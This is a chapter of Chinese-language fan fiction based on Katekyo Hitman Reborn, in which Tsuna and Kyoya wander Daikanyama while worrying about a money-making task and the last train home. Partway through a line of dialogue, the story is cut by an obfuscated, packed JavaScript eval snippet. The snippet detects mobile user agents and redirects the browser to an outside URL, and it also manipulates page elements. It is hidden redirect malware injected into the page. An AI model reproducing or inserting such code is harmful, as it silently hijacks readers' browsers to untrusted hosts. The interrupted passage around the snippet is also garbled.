【凪さん会这样想…也不奇怪呢。】 沢田纲吉这样想着。 真要说起来,虽然最开始和她有交流是因为目击了分手现场,但后来也是京弥为他披上了外套、躲避了云雀学长的追杀,甚至替他教训了总是推诿值日的吉田。 尽管只是第一次接触,但他意外地非常理解凪——虽然行动偶尔不合章法,但京弥同学的确有这样神奇的能力,让人期待能与她的每一次见面。 在他看来,有着“云雀”姓氏的京弥同学,哪怕容貌气场上和那位风纪委员长有着极相似的地方,却有一颗温柔而充满勇气的心。 思及此处,他不由也展露出一丝笑意。 “……拜托你们二位,请不要用这种眼神看我了。” 仿佛对某种气氛过敏一般,京弥皱起脸,将视线从两人脸上移开,低下头,报复性地挖了一勺千层塞进嘴里,嚼嚼嚼。 随后,她才平复下情绪,若无其事地说:“因为我和沢田君还有些事情要做,所以不能在店里待太久…对不起,这次只能待这么久。凪一会儿也早点回家吧?” 凪“啊”了一声,微微垂下眼帘,似乎有些失落。不过很快,她还是打起了精神,带着些许忧郁地笑了一下: “没关系的,京弥能过来我已经很高兴了。” “啊,说起来,这一次因为事发突然没有来得及准备礼物,等下次来代官山,一定会给你带来的。” “好…!”凪抿起嘴,笑容更明显了一些,“是京弥上次说的明信片吗?” “那个也有啦。还有就是我做的蛋挞,家政课的老师给出了很高的评价喔。”京弥也笑了起来。 凪的眼睛闪闪发亮:“好厉害…” 沢田纲吉:“……” …虽然非常理解凪さん对于京弥的感情,但这个真的很难不吐槽啊! 说的是上次用成品蛋挞皮和蛋挞液做出来的东西吧,烤到一半没全熟就被取出来塞给云雀学长了,当时云雀学长好像只吃了几口就放下了……而且话说回来,会相信碧洋琪料理评价的人世界上居然真的存在吗?!而且还是见识过她的有毒料理之后! 仔、仔细一看,京弥同学完全是信心满满啊,这样没问题吗?! 怀揣着澎湃的吐槽冲动,他跟在京弥身后,礼貌地与凪道了别,在风铃叮铃铃的响声之中,推开店门,再一次回到了被夕阳笼罩着的代官山的大街上。 这一带是当地颇有人气的小商业街,除了各种咖啡店与烘焙店外,还有不少饰品店、书屋与游戏厅,因而尤其受到高中生欢迎。 此时已经到了傍晚,学生大多放了学,又是周五下午,人来人往的街道上几乎全是嬉笑着的情侣与好友,没有一人注意到他们所在的角落。 太阳西斜,微风拂过,路边樟树上悠悠飘下一片落叶,在风中打着卷,默然停在两人脚下。 京弥打起精神:“好了,从现在开始就要正式进行任务了——所以,关于这次的行动,沢田君有什么想法吗?” 沢田纲吉:“……” 云雀京弥:“……” 太阳都落山了,所以今天之内到底怎么才能赚到二百五十万円啊……这太强人所难了! 然而,还没思考出来如何赚到钱,他忽然想到一件更加重要的事情。 以两个半小时的车程计算,再扣去(不一定存在的)打工的时间,他们真的能正常时间内回到并盛吗?! “京,京弥同学…”他忽然冒着冷汗转头看身旁的少女,颤抖着问,“从代官山往并盛,最晚的班次是几点的…?” 京弥稍加思索,答道:“我记得是九点半。” 沢田纲吉:“这样的话,回到并盛岂不是要十二点了?!” 再减去等候电车的时间、路上消耗的时间,就算现在立刻找到打工的地方,也只有三个小时能用啊——! 更重要的是,他原本只是抱着“解决完Reborn甩出的麻烦就立刻回家”的心态乘上电车的,完全没有考虑到自己有可能根本回不了家! 而且从刚才甜品店菜单上的价格来看,代官山的消费比他想像的还要高……呜哇啊,晚上不会要连累京弥同学和他一起睡天桥了吧?! 而且Reborn那家伙还说扣留了证件什么的…这样岂不是连回平安地回到并盛都很困难了吗?! 脑中瞬间出现了自己穿着打了补丁的旧衣,蹲坐在桥洞下,与京弥同学一起瑟瑟发抖的场面。 沢田纲吉:“……” 眼看着街道边数对捧着奶茶咖啡、说说笑笑着朋友或情侣路过,沢田纲吉心中天打雷劈,已然凝固成了石雕,僵立在了树下。 “嗯?”注意到他的不自然,正凝眉思索着的京弥侧过脸,看了眼他,问:“沢田君怎么忽然一副很颓废的样子,最近没有考试吧?” “这个时候也不忘调侃一下我吗!”他悲愤地抱住脑袋,流下两行宽面泪,“如果九点半是最后一班列车的话,不说能不能完成任务了,我们真的能够回家吗?!” 京弥“啊”了一声,忽然转过头,又认真地看了他几眼。 沢田纲吉已经彻底沉浸在自己恐怖的联想之中,甚至已经开始默默祈祷,希望Reborn能从天而降赐他一发死气弹了——在代官山裸奔至少比露宿街头要好! “这个的话,不用担心。”京弥说,“因为经常来探望凪的缘故,家里帮我在代官山置办过一间公寓,也请过保洁定期清理的,如果实在来不及的话可以住在那里。” 纲吉有些没反应过来:“——欸?” 仿佛看穿了他的隐忧,京弥又重复了一遍:“我在代官山是有一间公寓的,所以沢田君不用担心露宿街头喔。” 沢田纲吉:“……” 完、完全忘记了!妈妈是理事长的话,从某种意义上来说,京弥同学她,完全可以说是大小姐什么的…! 甚至为了拜访朋友而在代官山有一套自己的公寓……怪不得她对任务根本不焦虑啊!这个人该不会对物价没什么了解吧?! 这样一想,虽然燃眉之急是解决了,但总觉得出现了某种更危急的情况…… “如果沢田君实在很焦虑的话,现在就回并盛也可以,我明天早晨再乘车过来也是一样的。 “因为一开始说的是‘一天之内在代官山赚到二百五十万’,如果从抵达这里开始算起,距离24个小时还有一些时间……而且,这毕竟是柏林老师交给我的任务,一定要完成也只是因为我需要钱,作为学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307450|181063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会长,我总不能拖累身为成员的沢田君吧?” 京弥说完,冲着沢田又弯起眼笑起来,露出右边小小一颗虎牙。 沢田纲吉怔怔地看着她对自己微笑,不知怎的,思维忽然就发散起来,先前那些乱七八糟的想法被抛之脑后,转而又想到些无关紧要的事情。 真是奇怪,明明京弥是那样冷淡沉静、甚至看起来有些不近人情的相貌,却长着漫画里象征着活力的小虎牙,笑起来时竟然也很可爱。 说起来,之前在班上、反而很少见到她笑…… 他不着边际地思索着,忽然又听到京弥开口,悠悠道:“不过,没想到沢田君居然能想到这么多,还真是出乎意料地可靠啊?” “……”果然还是那个京弥同学! 沢田纲吉回过神,习惯性地露出自己想要吐槽时的无力表情: “喂,你把我当成什么人了啊!” 京弥:“…野○大雄?” “所以你是哆啦○梦吗!” 随后,他又有些不自然地摸了摸鼻子:“既然这样的话,还是先留在代官山,看看能不能找到合适的工作吧…?” “要和我一起留在这里吗?”京弥有些诧异地望向他,“沢田君一直表现得很没有信心,我以为你更愿意直接回去呢。” “怎么可能把京弥一个人留在这里啊……” 停顿了一下,纲吉叹了口气,注视着她,一字一句地、神色认真而温柔地说: “虽然我还是觉得Reborn定出的目标太离谱了,不过来之前我也说过吧?因为你最近看起来不太开心,无论如何,我都要想帮助京弥同学啊。” 这一次,反倒是京弥浮现出错愕的神色。 不过她反应很快,只是若无其事地抬手,将自己脸颊两旁的碎发别至而后,才抬起眼。 她忽然问: “沢田君不想知道,我为什么总是表现得很需要钱吗?” 沢田纲吉一愕,抬起头,却没有从她的表情中读出任何意图,于是微微摇头。 “既然京弥同学一直都没有告诉我们,证明这是你不愿意说的事情。”他说,“既然如此,就不要说了。我相信京弥同学一定有自己的打算,想做的事情也都有自己的道理。” 京弥:“……” 她叹了口气。 “这种话也太犯规了,总觉得你对我本人有些误解啊。”她难得露出了无可奈何的表情,对着沢田纲吉撇了撇嘴,有些泄气地说,“如果云雀恭弥能像你这样就好了……算了,总而言之先带你回公寓吧,去兼职网站看看有没有合适的工作。” “居——” 【居然拿我和云雀学长做比较吗!我这种废柴和并盛霸王的他完全没法比吧?】 听到京弥的话,他下意识地想要这样说。 然而紧接着,某个念头猝不及防地钻进了他的脑袋,在他自己反应过来之前,就已经化作一句语焉不详的心声,平铺直叙地摊开在他心里。 【不想被京弥同学视作……】 沢田纲吉这样想着。 可是,一向敏感细心的他,这一次没能敢直面自己的想法。 于是话音戛然而止。 “嗯?”京弥有些疑惑地瞥了他一眼。 在紊乱的心跳闹出更多动静之前,纲吉强行将这段心绪压下,对着眼前的她扯出一个不太自然的微笑。 “没什么。”沢田纲吉说,“那就先…一起回家吧。” …可是,在说出这句话的时候,他的心底,却莫名涌上了雀跃的情绪。